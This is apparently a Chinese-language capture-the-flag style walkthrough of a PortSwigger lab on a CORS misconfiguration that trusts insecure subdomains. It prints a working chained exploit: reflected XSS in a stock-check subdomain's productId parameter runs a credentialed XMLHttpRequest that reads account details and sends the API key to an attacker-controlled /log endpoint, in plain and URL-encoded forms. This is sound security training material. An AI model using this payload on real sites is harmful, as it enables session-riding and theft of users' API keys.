从业者-CORS漏洞-受信任的不安全协议
# 实验室:CORS漏洞-受信任的不安全协议
# 题目
该网站具有不安全的 CORS 配置,因为它信任所有子域,而不管协议如何。
若要解决实验室问题,请编写一些 JavaScript 代码,使用 CORS 来检索管理员的 API 密钥,并将代码托管至漏洞利用服务器。当你成功提交管理员的 API 密钥时,该实验就解决了。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
如果那可以对受害者进行中间人攻击(MITM),则可以使用 MITM 攻击来劫持用户与不安全子域的连接,并注入恶意 JavaScript 以利用 CORS 配置。不幸的是,在实验室环境中,你无法对受害者进行 MITM 攻击,因此你需要找到一种将 JavaScript 注入子域的替代方法。
- name: 实验室-从业者
desc: CORS漏洞-受信任的不安全协议 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-breaking-https-attack
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
在账户页面中,你可以看到当前账户的 API 密钥。
和之前的实验室相同,API 密钥通过另一个请求获取。
对Origin
标头进行测试,允许当前域的请求。
允许来自子域的跨域请求。
那么子域去哪找呢?
进入任意一个商品详情页,点击 “Check stock” 检查库存。
然后会弹出一个新窗口,里面显示了当前商品的库存数量。
这个窗口是来自子域的。
https: <受攻击的主域>/?productId=2&storeId=1
请求数据包如下。
尝试在storeId
位置注入 XSS 载荷,无果。
注入另一个参数productId
,成功注入标签。
并且能够执行 JavaScript,存在 XSS 漏洞。
那么如何利用子域上的 XSS 漏洞,来攻击主域上的 CORS 漏洞呢?
这是一个经典的 CORS 攻击载荷,不过去除了所有的换行符:
<script>function reqListener() {window.location = '//<恶意域>/log?key=' + this.responseText;}var req = new XMLHttpRequest();req.onload = reqListener;req.withCredentials = true;req.open('GET', '//<受攻击的域>/accountDetails', true);req.send();</script>
填入相应的域名:
<script>function reqListener() {window.location = 'https://exploit-0a44007903e11fa08072de620125009e.exploit-server.net/log?key=' + this.responseText;}var req = new XMLHttpRequest();req.onload = reqListener;req.withCredentials = true;req.open('GET', 'https://0a86005303d01ff28089dfde008d00a0.web-security-academy.net/accountDetails', true);req.send();</script>
填好域名之后,把经典载荷进行 URL 编码,然后放入子域的productId
参数中,也就是存在 XSS 漏洞的那个参数。
得到完整的 URL 后,通过window.location
进行跳转:
<script>
window.location = "http://stock.0a86005303d01ff28089dfde008d00a0.web-security-academy.net/?productId=2%3c%73%63%72%69%70%74%3e%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%34%34%30%30%37%39%30%33%65%31%31%66%61%30%38%30%37%32%64%65%36%32%30%31%32%35%30%30%39%65%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6c%6f%67%3f%6b%65%79%3d%27%20%2b%20%74%68%69%73%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%7d%76%61%72%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%72%65%71%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%30%61%38%36%30%30%35%33%30%33%64%30%31%66%66%32%38%30%38%39%64%66%64%65%30%30%38%64%30%30%61%30%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%20%74%72%75%65%29%3b%72%65%71%2e%73%65%6e%64%28%29%3b%3c%2f%73%63%72%69%70%74%3e&storeId=1"
</script>
2
3
将以上载荷保存至漏洞利用服务器上。
访问测试以上载荷,过程中产生了 4 个请求数据包。
第一个请求数据包,用户访问了漏洞利用 URL,跳转到了存在 XSS 漏洞的子域。
第二个请求数据包,跳转到子域,并通过 XSS 漏洞执行 CORS 攻击载荷。
我们在子域的 URL 中注入了 CORS 的经典载荷,由于子域存在 XSS 漏洞,所以这段 CORS 攻击载荷会被执行。
第三个请求数据包,子域 发起了对 主域的跨域请求。
由于恶意 JavaScript 是在用户的浏览器中运行的,所以会自动填充 Cookie。
由于恶意 JavaScript 是在子域上执行的,所以跨域请求的来源将会是子域的 URL,如图所示。
第四个请求数据包,子域上的 JavaScript 获取账户信息后,会将其传递回恶意域。
以上就是 CORS 的完整利用链。
将载荷发送给受害用户,等待一会后,在日志记录中可以看到他的账户信息,以及其中的 API 密钥。
回到实验室页面,提交受害用户的 API 密钥。
密钥正确,实验完成。